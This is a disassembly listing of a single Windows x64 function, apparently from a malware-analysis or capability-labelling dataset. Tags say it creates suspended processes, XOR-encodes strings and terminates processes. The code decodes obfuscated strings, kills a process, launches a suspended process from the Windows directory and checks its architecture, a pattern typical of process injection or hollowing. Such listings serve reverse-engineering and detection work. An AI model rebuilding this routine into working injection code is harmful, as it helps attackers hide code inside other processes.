Function at 0x180028af0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Get common file path
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a8]
sub rsp, 0x4a8
mov rax, qword [0x180037020]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov qword [rsp + 0x70], r9
mov r13, r8
mov r12, rdx
mov r15, rcx
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x1e8], rax
mov dword [rsp + 0x50], 0xf323f334
mov dword [rsp + 0x54], 0xf331f333
mov dword [rsp + 0x58], 0xf33ef336
mov dword [rsp + 0x5c], 0xf372f33c
mov dword [rsp + 0x60], 0xf326f338
mov dword [rsp + 0x64], 0xf33a
xor ebx, ebx
mov edx, ebx
mov r8d, 0xcab
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r8w
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x180028b80
mov word [rsp + 0x66], bx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.180027520
mov r8d, dword [rbp - 0x78]
test r8d, r8d
je 0x180028bd4
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, recvfrom
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x104
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov qword [rbp + 0x1c8], rbx
mov qword [rbp + 0x1d8], rbx
mov qword [rbp + 0x1e0], sendto
mov byte [rbp + 0x1c8], bl
lea rax, [rbp + 0x280]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x180028c16
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x1c8]
call fcn.180006240
nop
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x208], rbx
mov rbx, qword [rbp + 0x1d8]
lea r14, [rbp + 0x1c8]
mov r9, qword [rbp + 0x1c8]
mov r8, qword [rbp + 0x1e0]
cmp r8, 0x10
cmovae r14, r9
cmp rbx, 0x10
jae 0x180028c94
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x208], sendto
jmp 0x180028d2f
mov rdi, rbx
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
cmova rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x180028ce8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180029261
mov rcx, rax
call fcn.180029c40
mov rcx, rax
test rax, rax
je 0x1800291d3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180028cf6
test rcx, rcx
je 0x180028cf4
call fcn.180029c40
jmp 0x180028cf6
xor eax, eax
mov qword [rbp + 0x1f0], rax
lea r8, [rbx + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x200], rbx
mov qword [rbp + 0x208], rdi
mov r8, qword [rbp + 0x1e0]
mov rbx, qword [rbp + 0x1d8]
mov r9, qword [rbp + 0x1c8]
mov word [rbp + 0x1c0], 9
xor r14d, r14d
mov edx, r14d
nop
movsxd rax, edx
lea rcx, [rbp + 0x1c0]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 1
jb 0x180028d40
mov byte [rbp + 0x1c1], r14b
lea rax, [rbp + 0x1c0]
mov rdi, rsi
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], r14b
jne 0x180028d70
mov rax, r8
sub rax, rbx
cmp rdi, rax
ja 0x180028dc0
lea rax, [rbx + rdi]
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x1c8]
cmp r8, 0x10
cmovae rax, r9
add rbx, rax
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], r14b
lea r9, [rbp + 0x1c8]
jmp 0x180028dde
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1c0]
mov rdx, rdi
lea rcx, [rbp + 0x1c8]
call fcn.180007540
mov r9, rax
mov dword [rsp + 0x50], 0x34272e30
mov dword [rsp + 0x54], 0x2e3e2836
mov dword [rsp + 0x58], 0x5273b73
xor eax, eax
mov byte [rsp + 0x5c], al
mov edx, r14d
nop
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x180028e00
mov byte [rsp + 0x5c], r14b
lea rax, [rsp + 0x50]
inc rsi
cmp byte [rax + rsi], r14b
jne 0x180028e21
mov r8, rsi
lea rdx, [rsp + 0x50]
mov rcx, r9
call fcn.1800063a0
mov r9, qword [rbp + 0x1e8]
mov r8, qword [rsp + 0x70]
mov rdx, r13
mov rcx, r12
call fcn.180027b80
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0x10
cmovae rax, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae rcx, qword [rbp + 0x1c8]
xorps xmm0, xmm0
xor edx, edx
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rdx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x210]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180028f79
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
movdqa xmm0, xmmword [0x18002eb20]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x485d0200
mov dword [rsp + 0x64], 0x344e1259
mov word [rsp + 0x68], 0x67
mov edx, r14d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 0x19
jb 0x180028f50
mov byte [rsp + 0x69], r14b
mov edx, r8d
lea rcx, [rsp + 0x50]
call fcn.1800011b0
mov dword [rbp + 0x1e8], r14d
lea rdx, [rbp + 0x1e8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x180028faa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.1800011b0
jmp 0x180028fd5
mov dword [rbp + 0x1c0], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x1c0]
cmp dword [rbp + 0x1e8], eax
je 0x18002903f
movdqa xmm0, xmmword [0x18002edb0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x41424
mov dword [rsp + 0x64], 0xf0e1e00
mov dword [rsp + 0x68], 0x151d1b19
mov word [rsp + 0x6c], 0x785f
xor eax, eax
mov byte [rsp + 0x6e], al
mov edx, r14d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 0x1e
jb 0x180029010
mov byte [rsp + 0x6e], r14b
lea rcx, [rsp + 0x50]
call fcn.1800011b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [r15 + 0x30]
test rbx, rbx
jne 0x18002909f
movdqa xmm0, xmmword [0x18002e990]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xe470a09
mov dword [rsp + 0x64], 0x420e0600
mov word [rsp + 0x68], 0x67
mov edx, r14d
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 0x19
jb 0x180029070
mov byte [rsp + 0x69], r14b
lea rcx, [rsp + 0x50]
call fcn.1800011b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x70], 0x28273718
mov dword [rsp + 0x74], 0x723c3430
mov dword [rsp + 0x78], 0x557073
mov edx, r14d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx + 0x55]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x1800290c0
mov byte [rsp + 0x7b], r14b
lea rcx, [rsp + 0x70]
call fcn.1800011b0
movsxd r8, dword [r15]
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rdx, rbx
mov rcx, rdi
call fcn.18000c6b0
test al, al
jne 0x180029189
mov rcx, rbx
call fcn.180029c7c
mov eax, 0x8123
test rbx, rbx
cmovne rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x18002eca0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x4600080c
mov word [rsp + 0x64], 0x63
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x50]
add rdx, rax
lea eax, [r8 + 0x55]
xor byte [rdx], al
inc r8d
cmp r8d, 0x15
jb 0x180029160
mov byte [rsp + 0x65], r14b
lea rcx, [rsp + 0x50]
call fcn.1800011b0
mov rcx, rbx
call fcn.180029c7c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x1800291df
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800291da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800291da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180029c7c
mov qword [rbp + 0x200], r14
mov qword [rbp + 0x208], sendto
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x18002923c
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180029237
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180029237
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180029c7c
mov al, 1
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.180029c20
add rsp, 0x4a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800014a0
nop
int3